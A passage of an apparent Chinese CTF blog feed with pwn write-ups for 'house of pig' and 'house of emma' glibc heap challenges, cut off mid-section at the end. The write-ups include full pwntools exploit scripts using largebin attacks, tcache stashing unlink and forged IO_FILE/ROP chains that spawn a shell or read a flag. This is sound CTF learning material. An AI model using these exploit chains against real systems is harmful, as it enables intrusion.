p64(0)*6io += p64(fake_stderr+0x40)io = io.ljust(0x200, &#39;\x00&#39;)#fake rdx:payload = &quot;./flag\x00\x00&quot;payload = payload.ljust(0x68,&quot;\x00&quot;)payload += p64(0)#rdi-&gt;0payload += p64(0)#rsi-&gt;0payload = payload.ljust(0x88,&quot;\x00&quot;)payload += p64(0x100)#rdx-&gt;0payload = payload.ljust(0xa0)payload += p64(fake_stack)#rsp-&gt;chunk 1payload += p64(ret)#rcx-&gt;retio += payloadio = io.ljust(0x320,&quot;\x00&quot;)#fake_stack:payload = p64(libc_base+libc.sym[&#39;close&#39;])payload += p64(ret)payload += p64(pop_rdi)payload += p64(fake_rdx)payload += p64(pop_rax)payload += p64(2)payload += p64(syscall)#openpayload += p64(pop_rax)payload += p64(0)payload += p64(pop_rdi)payload += p64(0)payload += p64(pop_rsi)payload += p64(heap_base + 0x100)payload += p64(syscall)#readpayload += p64(pop_rax)payload += p64(1)payload += p64(pop_rdi)payload += p64(1)payload += p64(pop_rsi)payload += p64(heap_base + 0x100)payload += p64(syscall)#writeio+=payloadio = io.ljust(0x430,&#39;\x00&#39;)#----------------------------------------------add(4,0x440,io)# largebin 0 add(5,0x440,cyclic(0x440))add(6,0x430,cyclic(0x430))#largebin 1# add(7,0x440,cyclic(0x440))# add(8,0x420,cyclic(0x420))delete(4)add(9,0x460,cyclic(0x440))delete(6)#largebin attackpayload = p64(libc_base+0x21a0e0)*2 + p64(heap_base+0xf90) + p64(stderr_addr-0x20) + p64(0)*2edit(4, payload)add(10,0x460,cyclic(0x460))add(11, 0x430, cyclic(0x430))#calloc chunk6#largebin attack 2delete(11)#largebin 1 0x430#delete(8)payload = p64(libc_base+0x21a0e0)*2 + p64(heap_base+0xf90) + p64(heap_base+0x2538-5-0x20) + p64(0)*2edit(4, payload)add(15,0x41f,cyclic(0x41f))# debug()add(7, 0x460,cyclic(0x460))#trigger malloc assertp.interactive()</code></pre>]]></content>
    
    
    <summary type="html">讲课最后一天的题，水水</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="wp" scheme="http://deepunk.icu/tags/wp/"/>
    
    <category term="iofile" scheme="http://deepunk.icu/tags/iofile/"/>
    
  </entry>
  
  <entry>
    <title>house of pig xctf2021final复现</title>
    <link href="http://deepunk.icu/xctf2021finalhouseofpig%E5%A4%8D%E7%8E%B0/"/>
    <id>http://deepunk.icu/xctf2021finalhouseofpig%E5%A4%8D%E7%8E%B0/</id>
    <published>2023-07-27T03:17:56.000Z</published>
    <updated>2026-05-27T12:52:23.539Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>阴间堆风水</p></blockquote><h2 id="逆向"><a href="#逆向" class="headerlink" title="逆向"></a>逆向</h2><h3 id="修复switch"><a href="#修复switch" class="headerlink" title="修复switch"></a>修复switch</h3><p>0: 0x3985 invalid</p><p>1: 0x3797 add</p><p>2: 0x37B3 show</p><p>3: 0x37cf edit</p><p>4: 0x37eb delet</p><p>5: 0x3807 change role</p><h3 id="struct"><a href="#struct" class="headerlink" title="struct"></a>struct</h3><p>通过add函数，猜测出heap_list，heap_size的作用，结合free、edit函数找到两个标志位</p><p>结合每个的大小与偏移，推测出数组的数量</p><pre><code class="c">struct house&#123;    char *list[0x18];    int size[0x18];    char flag1[0x18];    char flag2[0x18];&#125;;</code></pre><pre><code class="c">struct tmp_house&#123;  struct house peppa_house;  int current_peppasize;  struct house mummy_house;  int current_mummysize;  struct house daddy_house;  int current_daddysize;  int show_time;  int edit_time;&#125;;</code></pre><h3 id="md5"><a href="#md5" class="headerlink" title="md5"></a>md5</h3><ol><li>填充1个1和n个0,使信息长度为N*512+448(bit)</li><li>用64bit存储填充前信息长度，加在后面，长度变为(N+1)*512</li><li>装入标准的幻数: A&#x3D;0x67452301, B&#x3D;0xefcdab89, C&#x3D;0x98badcfe, D&#x3D;0x10325476</li><li>四轮循环运算，循环次数为分组个数(N+1)</li></ol><pre><code class="python">import hashlib def main():    start = &quot;3c4400&quot;    while True:        for i in range(100000000):            s=&#39;A&#39;+str(i)            #s=&#39;B&#39;+str(i)            #s=&#39;C&#39;+str(i)            print &quot;Test %s &quot; % s            if hashlib.md5(s).hexdigest().startswith(start):                print(s)                return if __name__ == &#39;__main__&#39;:    main()&#39;&#39;&#39;A39275120B3332073C75929410&#39;&#39;&#39;</code></pre><h3 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h3><ul><li>add大小0x90~0x430，同一角色size只能增加</li><li>peppa 20次，mummy 10次，daddy 5次</li><li>peppa 0x30i, mummy 0x30i + 0x10, daddy 0x31i + 0x20</li><li>view 2次，edit 8次</li><li>delet后无法delet，切换角色可edit、view</li><li>daddy的add不用一直增加！</li><li>daddy add最后一次时会多calloc0xe8</li></ul><h2 id="堆风水"><a href="#堆风水" class="headerlink" title="堆风水"></a>堆风水</h2><h3 id="role的选择"><a href="#role的选择" class="headerlink" title="role的选择"></a>role的选择</h3><p>注意不同role的堆列表是独立的，同时不同role能修改的位置也不同</p><p>peppa可以修改fd,bk</p><p>mummy可以修改fd_nextsize,bk_nextsize</p><p>因而最好peppa打tcache stashing unlink, mummy打largebin attack</p><p>当然这不是绝对的，我们可以通过UAF达到对同一个堆块的混淆</p><h3 id="tcache-stashing-unlink"><a href="#tcache-stashing-unlink" class="headerlink" title="tcache stashing unlink"></a>tcache stashing unlink</h3><p>1.<code>tcache</code>中放<code>5</code>个，<code>smallbin</code>中放两个</p><p>2.将<strong>后进</strong><code>smallbin</code>的<code>chunk</code>的<code>bk</code>(不破坏<code>fd</code>指针的情况下)修改为<code>[target-0x10]</code>(即target为将要加入tchache的chunk的user pointer处），同时将目标地址<code>+0x08</code>处（即target-&gt;bk)的值设置为一个指向可写内存的指针。</p><p> 3.从smallbin中取一个chunk，走完stash流程，目标地址就会被链入tcache中。</p><h3 id="布局的问题"><a href="#布局的问题" class="headerlink" title="布局的问题"></a>布局的问题</h3><h4 id="1"><a href="#1" class="headerlink" title="1"></a>1</h4><blockquote><p> 在tcache中放了5个的情况下，如何使两个chunk进入<strong>相同大小</strong>的smallbin？</p></blockquote><p>问题转化为：如何使两个chunk进入相同大小的unsortedbin，而不进入tcache</p><p><img src="/../img/xctf2021finalhouseofpig%E5%A4%8D%E7%8E%B0.assets/image-20230723173130250.png" alt="image-20230723173130250"></p><p>考虑当unsortedbin中只有一个chunk时，分配较小的chunk时会从其中切一块使用，另一块放入lastrmainder（同样是unsortedbin）</p><p>所以我们先获取一个较大的unsortedbin，（这一步通过填满tcache获得），随后malloc一块较小的chunk,就可以获得目标大小的unsortedbin</p><p>注意这里最后需要获得两块unsortedbin,注意避免在分配第二块时把第一块拿掉。我一开始分配的大小为0x150,刚好可以拿掉一个0xa0剩下一个0xa0,但是在分配第二快时就会出现问题</p><p>我的解决方案是，切割0x160的块，从中取出0xb0，刚好剩下0xa0,同时第二次取0xb0时不会出现把获得的unsortedbin取走的情况</p><p>网上的解决方案是：再填另一个tcache，两次用不同的unsortedbin切割，但是这种方法比较浪费次数</p><p>同时，经过计算、微调，我这里切下来的smallbin的fd和bk刚好位于chunk1-&gt;7,1-&gt;8的可写区域</p><h4 id="2"><a href="#2" class="headerlink" title="2"></a>2</h4><blockquote><p>改到_IO_list_all的指针后，如何修改内容？</p></blockquote><p>本题比较阴间的地方是，不能完整地修改一个堆块</p><p>好在出题人给add3加了一个gift,可以申请一个0xe8的完整可写的堆块</p><p>所以最后可以把largebin attack指向的largebin留着，完成add3的最后一步，使得daddy从这个largechunk中切一块，从而直接获得完整的修改权限</p><p>下策是修改large chunk的chain指针，使其指向可写堆块</p><h3 id="布局"><a href="#布局" class="headerlink" title="布局"></a>布局</h3><pre><code class="python">#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import*context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])def debug(cmd=&#39;&#39;):    cmd += &quot;&quot;    gdb.attach(p, cmd)    pause()host = &quot;&quot;port = 0p = process(&quot;./pig&quot;)# libc=ELF(&quot;./libc.so.6&quot;)#p = remote(host, port)def add(size, content): #0xa0-0x430    p.sendlineafter(&quot;Choice: &quot;, &quot;1&quot;)    p.sendlineafter(&quot;size: &quot;, str(size).encode())    p.sendafter(&quot;message: &quot;, content)def view(index):    p.sendlineafter(&quot;Choice: &quot;, &quot;2&quot;)    p.sendlineafter(&quot;index: &quot;, str(index).encode())def edit(index, content):    p.sendlineafter(&quot;Choice: &quot;, &quot;3&quot;)    p.sendlineafter(&quot;index: &quot;, str(index).encode())    p.sendafter(&quot;message: &quot;, content)def delet(index):    p.sendlineafter(&quot;Choice: &quot;, &quot;4&quot;)    p.sendlineafter(&quot;index: &quot;, str(index).encode())def change(role):    p.sendlineafter(&quot;Choice: &quot;, &quot;5&quot;)    if role == 1:        p.sendlineafter(&quot;user:\n&quot;, &quot;A39275120&quot;)    elif role == 2:        p.sendlineafter(&quot;user:\n&quot;, &quot;B3332073&quot;)    elif role == 3:        p.sendlineafter(&quot;user:\n&quot;, &quot;C75929410&quot;)#tcache 0xa0change(2)add(0xa0, cyclic(0x30))add(0xa0, cyclic(0x30))add(0xa0, cyclic(0x30))add(0xa0, cyclic(0x30))add(0xa0, cyclic(0x30))#2-&gt;4#unsortedbin-&gt;smallbin#tcache 0x160change(1)add(0x160, cyclic(0x70))add(0x160, cyclic(0x70))add(0x160, cyclic(0x70))add(0x160, cyclic(0x70))add(0x160, cyclic(0x70))add(0x160, cyclic(0x70))add(0x160, cyclic(0x70))#1-&gt;6add(0x160, cyclic(0x70))#1-&gt;7change(2)add(0xa0, cyclic(0x30))#protect 2-&gt;5change(1)add(0x160, cyclic(0x70))#1-&gt;8#fill tcache 0x160delet(0)delet(1)delet(2)delet(3)delet(4)delet(5)delet(6)#fill tcache 0xa0 to 5change(2)delet(0)delet(1)delet(2)delet(3)delet(4)#split into unsorted binchange(1)delet(7)change(3)change(1)#to clear flag0view(7)#leak libclibc_base = u64(p.recvuntil(&quot;\x7f&quot;)[-6:].ljust(8,&quot;\x00&quot;))-0x219ce0free_hook = libc_base + 0x2204a8iolistall = libc_base + 0x21a680memset_got = libc_base + 0x219188log.success(&quot;libc_base = &#123;&#125;&quot;.format(hex(libc_base)))log.success(&quot;free_hook = &#123;&#125;&quot;.format(hex(free_hook)))log.success(&quot;iolistall = &#123;&#125;&quot;.format(hex(iolistall)))log.success(&quot;memset_got = &#123;&#125;&quot;.format(hex(memset_got)))change(3)add(0xb0, cyclic(0x30))#smallbin 0 = 1-&gt;7change(1)add(0x160, cyclic(0x70))#into smallbin 1-&gt;9delet(8)change(3)add(0xb0, cyclic(0x30))#smallbin 1 = 1-&gt;8#unsortedbin finished, 1-&gt;9(0x160);2-&gt;5(0xa0);3-&gt;1#leak heap_basechange(1)add(0x410, cyclic(0x160))#1-&gt;10add(0x410, cyclic(0x160))#1-&gt;11delet(10)add(0x430, cyclic(0x160))#1-&gt;12fixed_largebin_fd = libc_base + 0x21a0d0change(2)change(1)payload = cyclic(0x160)edit(10, payload)view(10)p.recvuntil(&quot;daaa&quot;)heap_base = u64(p.recvn(6).ljust(8,b&quot;\x00&quot;))-0x13120log.success(&quot;heap0_base = &#123;&#125;&quot;.format(hex(heap_base)))#fix itpayload = p64(fixed_largebin_fd)*2 + cyclic(0x150)edit(10, payload)change(2)add(0x410, cyclic(0x160))# 2-&gt;6 largebin1#largebin attackchange(2)add(0x410, cyclic(0x160))# 2-&gt;7 largebin2change(1)add(0x430, cyclic(0x160))# 1-&gt;13 protectchange(2)add(0x410, cyclic(0x160))# 2-&gt;8 change(1)add(0x430, cyclic(0x160))# 1-&gt;14 protectchange(2)add(0x420, cyclic(0x160))# 2-&gt;9 largebin3change(1)add(0x430, cyclic(0x160))# 1-&gt;15 protectchange(2)delet(9)change(1)add(0x430, cyclic(0x160))# trigger largebin3 1-&gt;16#largebin attack1change(2)delet(6)payload = p64(heap_base+0x14e60) + p64(free_hook + 0x8-0x20)+cyclic(0x150)edit(9, payload)change(1)add(0x430, cyclic(0x160))# trigger largebin1 1-&gt;17change(3)add(0x410, cyclic(0x160))# memsetgot-0x8 -&gt; 2-&gt;9   3-&gt;2#fix largebin&amp;attck2change(2)delet(7)payload = p64(heap_base+0x14e60) + p64(iolistall-0x20)+cyclic(0x150)edit(9, payload)change(1)add(0x430, cyclic(0x160))# trigger largebin2 1-&gt;18 iolistall-&gt; 2-&gt;7#fix largebinchange(2)payload = p64(heap_base+0x14e60)*2+cyclic(0x150)edit(7, payload)payload = p64(heap_base+0x13da0)*2+cyclic(0x150)edit(9, payload)#tcache smashing unlinkchange(3)add(0x420, cyclic(0x160)) #2-9 callocedchange(1)payload = cyclic(0x40) + p64(heap_base+0x12ce0) + p64(free_hook-0x10)+cyclic(0x110)edit(8, payload)change(3)# debug()add(0xa0, cyclic(0x30))   #3-&gt;4#gift!p.recvuntil(&quot;01dwang&#39;s Gift:\n&quot;)#fake IOFILEpayload = &quot;&quot;p.send(payload)debug()p.interactive()</code></pre><h2 id="伪造IOFILE"><a href="#伪造IOFILE" class="headerlink" title="伪造IOFILE"></a>伪造IOFILE</h2><h3 id="改-free-hook做法"><a href="#改-free-hook做法" class="headerlink" title="改__free_hook做法"></a>改__free_hook做法</h3><pre><code class="c">int _IO_str_overflow (FILE *fp, int c)&#123;  int flush_only = c == EOF;  size_t pos;  if (fp-&gt;_flags &amp; _IO_NO_WRITES)      return flush_only ? 0 : EOF;  if ((fp-&gt;_flags &amp; _IO_TIED_PUT_GET) &amp;&amp; !(fp-&gt;_flags &amp; _IO_CURRENTLY_PUTTING))    &#123;      fp-&gt;_flags |= _IO_CURRENTLY_PUTTING;      fp-&gt;_IO_write_ptr = fp-&gt;_IO_read_ptr;      fp-&gt;_IO_read_ptr = fp-&gt;_IO_read_end;    &#125;  pos = fp-&gt;_IO_write_ptr - fp-&gt;_IO_write_base;  if (pos &gt;= (size_t) (_IO_blen (fp) + flush_only))    &#123;      if (fp-&gt;_flags &amp; _IO_USER_BUF) /* not allowed to enlarge */    return EOF;      else        &#123;          char *new_buf;          char *old_buf = fp-&gt;_IO_buf_base;          size_t old_blen = _IO_blen (fp);          size_t new_size = 2 * old_blen + 100;          if (new_size &lt; old_blen)            return EOF;          new_buf = malloc (new_size); // 1          if (new_buf == NULL)            &#123;              /*      __ferror(fp) = 1; */              return EOF;            &#125;          if (old_buf)            &#123;              memcpy (new_buf, old_buf, old_blen); // 2              free (old_buf); // 3              /* Make sure _IO_setb won&#39;t try to delete _IO_buf_base. */              fp-&gt;_IO_buf_base = NULL;            &#125;          memset (new_buf + old_blen, &#39;\0&#39;, new_size - old_blen); // 4           _IO_setb (fp, new_buf, new_buf + new_size, 1);          fp-&gt;_IO_read_base = new_buf + (fp-&gt;_IO_read_base - old_buf);          fp-&gt;_IO_read_ptr = new_buf + (fp-&gt;_IO_read_ptr - old_buf);          fp-&gt;_IO_read_end = new_buf + (fp-&gt;_IO_read_end - old_buf);          fp-&gt;_IO_write_ptr = new_buf + (fp-&gt;_IO_write_ptr - old_buf);           fp-&gt;_IO_write_base = new_buf;          fp-&gt;_IO_write_end = fp-&gt;_IO_buf_end;        &#125;    &#125;   if (!flush_only)    *fp-&gt;_IO_write_ptr++ = (unsigned char) c;  if (fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_read_end)    fp-&gt;_IO_read_end = fp-&gt;_IO_write_ptr;  return c;&#125;libc_hidden_def (_IO_str_overflow)</code></pre><pre><code class="c">old_blen = _IO_blen (fp) = (fp)-&gt;_IO_buf_end - (fp)-&gt;_IO_buf_basenew_size = 2 * old_blen + 100new_buf = malloc (new_size)old_buf = fp-&gt;_IO_buf_basememcpy (new_buf, old_buf, old_blen)free (old_buf);memset (new_buf + old_blen, &#39;\0&#39;, new_size - old_blen)</code></pre><p>此时<code>_IO_list_all</code>指针已经指向了gift chunk,这个chunk的内容完全是可控的</p><p><img src="/../img/xctf2021finalhouseofpig%E5%A4%8D%E7%8E%B0.assets/image-20230724133629983.png" alt="image-20230724133629983"></p><p>注意前面tcache stashing unlink改的位置，可能需要在__free_hook的地址处加减0x8，因为tcache申请会检查十六字节对齐</p><p>因为我没用原题的glibc,这里我对齐之后，0xe8大小的堆块不够写了，按照出题人的思路应该是刚好够写的</p><pre><code class="python">fake_IO_addr = heap_base+0x13da0payload = p64(0)*3 + p64(0xffffffffffffffff) #write_ptrpayload += p64(0)#write_end # fp-&gt;_IO_write_ptr - fp-&gt;_IO_write_base &gt;= _IO_buf_end - _IO_buf_basepayload += p64(fake_IO_addr+0xe0)#buf_basepayload += p64(fake_IO_addr+0xe0+0x1e) #buf_endpayload = payload.ljust(0xc8, b&#39;\x00&#39;)payload += p64(libc_base+0x2166c0)payload += b&#39;/bin/sh\x00&#39;+p64(0)+p64(libc_base+0x50d60)</code></pre><h3 id="改memset-got做法"><a href="#改memset-got做法" class="headerlink" title="改memset got做法"></a>改memset got做法</h3><p>由于libc是partial RELRO，got表可写</p><p>因此可以把memset的got当作一个__free_hook</p><p>注意这里做tcache stashing unlink时不能直接覆盖memset的got表，这是因为calloc中会调用memset,如果这时的got已经进入tcache,则会变成加密后的fd，rip运行到这里时会报错</p><p>因而正确的做法应该是预留一定的空间，本题限制较大，故不做演示，仅提出思路</p>]]></content>
    
    
    <summary type="html">阴间堆风水</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="wp" scheme="http://deepunk.icu/tags/wp/"/>
    
    <category term="iofile" scheme="http://deepunk.icu/tags/iofile/"/>
    
  </entry>
  
  <entry>
    <title>house of emma 21湖湘杯复现</title>
    <link href="http://deepunk.icu/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0/"/>
    <id>http://deepunk.icu/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0/</id>
    <published>2023-07-27T03:12:57.000Z</published>
    <updated>2026-05-27T12:52:23.539Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>讲水课，恰大米</p></blockquote><p>沙箱开启，考虑orw</p><p>保护全开</p><h2 id="VM分析"><a href="#VM分析" class="headerlink" title="VM分析"></a>VM分析</h2><p>循环输入，每次读最多0x500，每次循环分配释放0x2000空间</p><p>注意这里每次循环时的malloc,会影响后面的堆风水</p><h3 id="入口函数分析"><a href="#入口函数分析" class="headerlink" title="入口函数分析"></a>入口函数分析</h3><p><code>sub_1288</code>处无法识别</p><p>undefine后，由gdb动调知入口在0x1289处，修复为函数</p><p>将输入的字符串指针存在<code>[rbp-18h]</code>处</p><p><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230720151519060.png" alt="image-20230720151519060"></p><p>随后取第一个byte，与运算0Fh，进行一个没什么用的检查，再将该值*4放入<code>rdx</code>，与一个首地址相加放入<code>eax</code>，符号拓展为<code>rax</code>（因为是负数），再与该首地址相加（<code>rax</code>为补码，实际为相减），其中算负数计算式为<code>hex((~0xfffffffffffff3a1&amp;0xffffffffffffffff)+0x1)</code>，随后跳转到该位置</p><p><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230720152303704.png" alt="image-20230720152303704"></p><table><thead><tr><th>0</th><th>1</th><th>2</th><th>3</th><th>4</th><th>5</th><th>6</th><th>7</th><th>8</th><th>9</th></tr></thead><tbody><tr><td>1488h</td><td>13ddh</td><td>1404h</td><td>1428h</td><td>144ch</td><td>1481h</td><td>12dah</td><td>130dh</td><td>13abh</td><td>1342h</td></tr><tr><td>fail</td><td>add</td><td>delet</td><td>show</td><td>edit</td><td>leave&amp;ret</td><td></td><td></td><td></td><td></td></tr></tbody></table><p><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230721133000180.png" alt="image-20230721133000180"></p><p>连按d修复跳转表，观察补码可知为4字节一组</p><p>其实可以用ida的edit-&gt;other-&gt;specify switch idiom功能修复为switch</p><h3 id="add"><a href="#add" class="headerlink" title="add"></a>add</h3><ul><li>index 2nd byte</li><li>size 2nd word</li><li><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230718174743516-1689673665848-1.png" alt="image-20230718174743516"></li><li>+4&amp;jump to start</li></ul><h3 id="delet"><a href="#delet" class="headerlink" title="delet"></a>delet</h3><ul><li><p>index 2nd byte</p></li><li><p>uaf</p></li><li><p><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230718174950029.png" alt="image-20230718174950029"></p></li><li><p>+2</p></li></ul><h3 id="show"><a href="#show" class="headerlink" title="show"></a>show</h3><ul><li><p>index 2nd byte</p></li><li><p><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230718175134076.png" alt="image-20230718175134076"></p></li><li><p>+2</p></li></ul><h3 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h3><ul><li>index 2nd byte</li><li>size 2nd word</li><li>content 2nd dword, size</li><li><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230719093944933.png" alt="image-20230719093944933"></li></ul><h3 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h3><p>存在UAF，可多次进行largbin attack</p><p>无法改写为任意地址，无法直接house of kiwi，考虑house of emma</p><ul><li><p>泄露libc、heap基址</p></li><li><p>两次largbin attack改写<code>stderr</code>和<code>__pointer_chk_guard</code></p></li><li><p>合理伪造stderr与IO链</p></li><li><p>触发<code>__malloc_assert</code></p></li></ul><h2 id="堆布局与largbin-attack"><a href="#堆布局与largbin-attack" class="headerlink" title="堆布局与largbin attack"></a>堆布局与largbin attack</h2><h3 id="leak"><a href="#leak" class="headerlink" title="leak"></a>leak</h3><pre><code class="python">add(0,0x420)add(1,0x440)add(2,0x440)#largebins(9)-&gt;fakestderr(after attack pointerguard)add(3,0x440)add(5,0x430)#(7)(8)-&gt;pointer guardadd(6,0x420)delet(0)delet(2)show(0)#获取libc基址sendit()libc_base = u64(p.recvuntil(&#39;\x7f&#39;)[-6:].ljust(8,b&quot;\x00&quot;))-0x1f2cc0stderr_addr = libc_base + libc.sym[&#39;stderr&#39;]fixed_heap_fdbk = libc_base + 0x1f30c0setcontex61 = libc_base + 0x50bfdpoint_guard = libc_base + 0x3c0740 + 0x30log.success(&quot;libc_base = &#123;&#125;&quot;.format(hex(libc_base)))log.success(&quot;stderr = &#123;&#125;&quot;.format(hex(stderr_addr)))log.success(&quot;setcontex+61 = &#123;&#125;&quot;.format(hex(setcontex61)))log.success(&quot;point_guard = &#123;&#125;&quot;.format(hex(point_guard)))add(4,0x410)edit(2,16,cyclic(16))show(2)sendit()p.recvuntil(&quot;daaa&quot;)heap_base = u64(p.recvn(6).ljust(8,b&quot;\x00&quot;))-0x880log.success(&quot;heap0_base = &#123;&#125;&quot;.format(hex(heap_base)))</code></pre><p>free掉任意一个unsorted bin可获取libc基址</p><blockquote><p>问题：这里的chunk 0为什么能保持在unsorted bin中，而没有在循环开始malloc0x2000时放入large bin？</p><p>因为chunk 0和0x2000紧邻，每次完成循环都会触发合并，并在分配时被切下来</p></blockquote><p>构造0&lt;2，free掉后申请一块较小的chunk，将2放入largebin以获取heap基址</p><p>注意输出存在截断，可以先把2的fd,bk部分填满，事后记得要修复</p><p>注意largbin大小0x440~0x480为一个范围，为后续largebin attack起见，应注意预留大小</p><h3 id="largebin-attack-2"><a href="#largebin-attack-2" class="headerlink" title="largebin attack*2"></a>largebin attack*2</h3><p>largebin attack的利用方式：</p><ol><li>将一个较大的、largebin中的chunk的bk_nextsize覆盖为[target-0x20]</li><li>将一个较小的chunk放入<strong>同一个</strong>largebin，触发unlink</li><li>此时[target]的内容被修改为较小chunk的地址</li></ol><pre><code class="python">#attack stderrpayload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)#构造的同时顺便修复edit(2,32,payload)delet(5)sendit()#attack point_guartadd(7,0x430)payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)edit(2,32,payload)delet(7)sendit()</code></pre><p>将5free掉，放入largebin，打出一次attack，修改stderr</p><p>又通过7将5申请回来，（这里申请之前没有修复，导致stderr指向了2）</p><p>随后再更改2，再free掉7（5），打出第二次attack，修改point_guard</p><h3 id="pointer-chk-guard"><a href="#pointer-chk-guard" class="headerlink" title="__pointer_chk_guard"></a>__pointer_chk_guard</h3><p>该值存在于fs:0x30</p><p>tls基址查看方式为<code>fsbase</code>或<code>tls</code>（pwngdb)，加上0x30即为guard值</p><p>也可以直接用gdb</p><pre><code class="shell">(gdb) call arch_prctl(0x1003, $rsp - 0x8)    $2 = 0 (gdb) x /gx $rsp - 0x80x7fffffffe6e8: 0x00007ffff7fe0700   =&gt; IA32_FS_BASE</code></pre><p>本地gdb调试时该值与libc偏移可能改变，调试时可以先关闭aslr</p><pre><code class="shell">$ sudo sysctl -w kernel.randomize_va_space=0</code></pre><h3 id="修复largebin与准备触发-malloc-assert"><a href="#修复largebin与准备触发-malloc-assert" class="headerlink" title="修复largebin与准备触发__malloc_assert"></a>修复largebin与准备触发__malloc_assert</h3><pre><code class="python">#largbin fixpayload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2edit(2,32,payload)payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3edit(7,32,payload)sendit()#prepare assertadd(8,0x430)delet(6)add(9,0x440)add(10,0x410)edit(6,0x420,cyclic(0x418)+p64(0x10))sendit()</code></pre><p>先分别修补两个largebin，防止分配时发生错误</p><p>申请8填补5,申请9填补2</p><p>将最外层的chunk 6 free掉，加入unsorted bin并与top chunk合并</p><p>再申请一块略小于6的chunk 10，通过修改chunk 6的内容修改top chunk的size段</p><p>此处改为0x10使之页不对齐</p><p>后面只需要申请一个chunk就可以触发<code>__malloc_assert</code></p><h2 id="构造IO利用链"><a href="#构造IO利用链" class="headerlink" title="构造IO利用链"></a>构造IO利用链</h2><h3 id="gadget"><a href="#gadget" class="headerlink" title="gadget"></a>gadget</h3><p>假设我们控制了<code>stderr</code>，进入了<code>_IO_cookie_write</code>，调用函数指针<code>write_cb</code>，此时我们只能控制进入函数时的<code>rdi</code>，而控制<code>setcontext</code>需要控制rdx</p><p>碰巧有一个gadget，能够利用<code>rdi</code>控制<code>rdx</code>，还能call一个和<code>rdx</code>相关的地址</p><p><img src="/../img/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0.assets/image-20230720211806875.png" alt="image-20230720211806875"></p><pre><code class="python">gadget = libc_base + 0x0000000000146020#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];ret = libc_base + 0x000000000002d446pop_rax = libc_base + 0x00000000000446c0pop_rdi = libc_base + 0x000000000002daa2pop_rsi = libc_base + 0x0000000000037c0asyscall = libc_base + 0x00000000000883b6</code></pre><h3 id="fake-stderr"><a href="#fake-stderr" class="headerlink" title="fake stderr"></a>fake stderr</h3><pre><code class="python">def ROL(content, n):    num = bin(content)[2:].rjust(64,&#39;0&#39;)    return int(num[n:]+num[:n],2)#fake stderrpayload = p64(0)*3payload += p64(0xffffffffffffffff)payload = payload.ljust(0x78,&quot;\x00&quot;)payload += p64(libc_base + libc.sym[&#39;_IO_stdfile_2_lock&#39;])payload = payload.ljust(0xc8,&quot;\x00&quot;)payload += p64(libc_base + libc.sym[&#39;_IO_cookie_jumps&#39;]+0x40)payload += p64(heap_base+0x10) #chunk 0-&gt;rdipayload += p64(0)payload += p64(ROL(gadget^(heap_base+0x1120),0x11))edit(2,0xe8,payload)sendit()</code></pre><p>进入<code>__malloc_assert</code>后，利用<code>__malloc_assert -&gt; __fxprintf -&gt; __vfxprintf -&gt; locked_vfxprintf -&gt; __vfprintf_internal -&gt; _IO_new_file_xsputn ( =&gt; _IO_cookie_write)</code>调用链</p><p>需要满足<code>_IO_write_ptr &gt; _IO_write_base</code>，且<code>_lock</code>指向可写地址，此处直接使用原地址<code>_IO_stdfile_2_lock</code></p><p><code>vtable</code>需要伪造，触发IO时，原本指向<code>_IO_file_jumps -&gt; __xsputn</code>，即<code>&lt;__GI__IO_file_jumps+56&gt;</code>，需要伪造为<code>_IO_cookie_jumps-&gt; __write</code>，即<code>&lt;_IO_cookie_jumps+120&gt;</code>，故此处填上<code>_IO_cookie_jumps+0x40</code></p><p>构造<code>__cookie</code>为chunk 0的地址，注意为了方便更改，地址加上0x10，之后chunk 0的用户地址会进入<code>rdi</code></p><p>构造<code>cookie_write_function_t *write</code>处指针为gadget地址，调用时直接运行gadget，此处有加密</p><h3 id="rdi-rdx"><a href="#rdi-rdx" class="headerlink" title="rdi -&gt; rdx"></a>rdi -&gt; rdx</h3><pre><code class="python">#rdi-&gt;rdxpayload = p64(0)#rdipayload += p64(heap_base + 0x1120+0x10)#rdx-&gt;chunk 5edit(0,0x10,payload)sendit()</code></pre><p>修改chunk 0，使rdx指向chunk5</p><h3 id="布置rdx附近满足setcontext"><a href="#布置rdx附近满足setcontext" class="headerlink" 